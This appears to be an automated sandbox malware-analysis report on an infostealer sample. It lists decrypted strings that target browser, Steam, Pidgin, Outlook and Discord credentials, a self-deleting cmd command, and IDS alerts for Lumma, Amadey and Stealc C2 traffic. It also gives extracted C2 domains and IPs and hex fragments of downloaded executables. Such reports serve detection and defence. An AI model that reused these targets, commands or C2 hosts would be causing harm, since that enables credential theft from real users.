Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 00000003
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 00000004
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Pidgin
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \.purple\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: accounts.xml
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: token:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Valve\Steam
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SteamPath
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \config\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ssfn*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: config.vdf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DialogConfig.vdf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: libraryfolders.vdf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: loginusers.vdf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Steam\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: browsers
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: done
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: soft
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: https
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: POST
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HTTP/1.1
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: hwid
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: build
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: token
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: file_name
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: file
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: message
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64019 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: my_library.pdb source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbo source: InstallUtil.exe, 0000000B.00000002.2935186907.0000000000848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000003.2063719617.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: protobuf-net.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n8C:\Windows\InstallUtil.pdbc source: InstallUtil.exe, 0000000B.00000002.2931654283.00000000004F7000.00000004.00000010.00020000.00000000.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55266 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:54054 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:50721 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:61708 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:63758 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:63774
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63821 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:51938 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:57960 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:51006 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50424 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62171 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63892 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63879 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63922 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63933 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63943 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63939 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63947 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63958 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63980 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63996 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63998 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:63933 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63958 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:63892 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63892 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:03:26 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Thu, 31 Oct 2024 01:43:45 GMTConnection: keep-aliveETag: "6722e0d1-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 64 64 65 70 72 7a 61 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 6a 73 61 79 69 70 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:03:33 GMTContent-Type: application/octet-streamContent-Length: 1928704Last-Modified: Thu, 31 Oct 2024 02:01:56 GMTConnection: keep-aliveETag: "6722e514-1d6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4c 00 00 04 00 00 a6 3f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 6b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 6b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 70 69 69 79 62 70 00 60 1a 00 00 20 32 00 00 52 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6d 73 74 63 73 73 00 10 00 00 00 80 4c 00 00 04 00 00 00 48 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4c 00 00 22 00 00 00 4c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:09 GMTServer: Apache/2.4.62 (Debian)Last-Modified: Tue, 24 Sep 2024 00:33:21 GMTETag: "1477b0-622d2a7071640"Accept-Ranges: bytesContent-Length: 1341360Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 54 de 22 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 a8 13 00 00 a4 00 00 00 00 00 00 6e c7 13 00 00 20 00 00 00 e0 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 14 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 c7 13 00 4b 00 00 00 00 e0 13 00 54 a0 00 00 00 00 00 00 00 00 00 00 00 4e 14 00 b0 29 00 00 00 a0 14 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 a7 13 00 00 20 00 00 00 a8 13 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 54 a0 00 00 00 e0 13 00 00 a2 00 00 00 aa 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 14 00 00 02 00 00 00 4c 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 c7 13 00 00 00 00 00 48 00 00 00 02 00 05 00 dc 06 03 00 88 bc 01 00 03 00 00 00 04 00 00 06 64 c3 04 00 4d 03 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 1a 28 03 00 00 06 2a 00 1e 00 28 01 00 00 06 2a 13 30 03 00 98 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 03 00 00 00 36 00 00 00 06 00 00 00 05 00 00 00 38 31 00 00 00 2a 7e 03 00 00 04 25 39 05 00 00 00 38 36 00 00 00 26 20 00 00 00 00 7e 73 01 00 04 7b 87 01 00 04 3a c4 ff ff ff 26 20 00 00 00 00 38 b9 ff ff ff 7e 02 00 00 04 fe 06 09 00 00 06 73 01 00 00 0a 25 80 03 00 00 04 73 02 00 00 0a 28 03 00 00 0a 20 01 00 00 00 7e 73 01 00 04 7b 9f 01 00 04 3a 85 ff ff ff 26 20 02 00 00 00 38 7a ff ff ff 26 7e 01 00 00 04 14 fe 01 2a 00 00 1a 7e 01 00 00 04 2a 00 2e 73 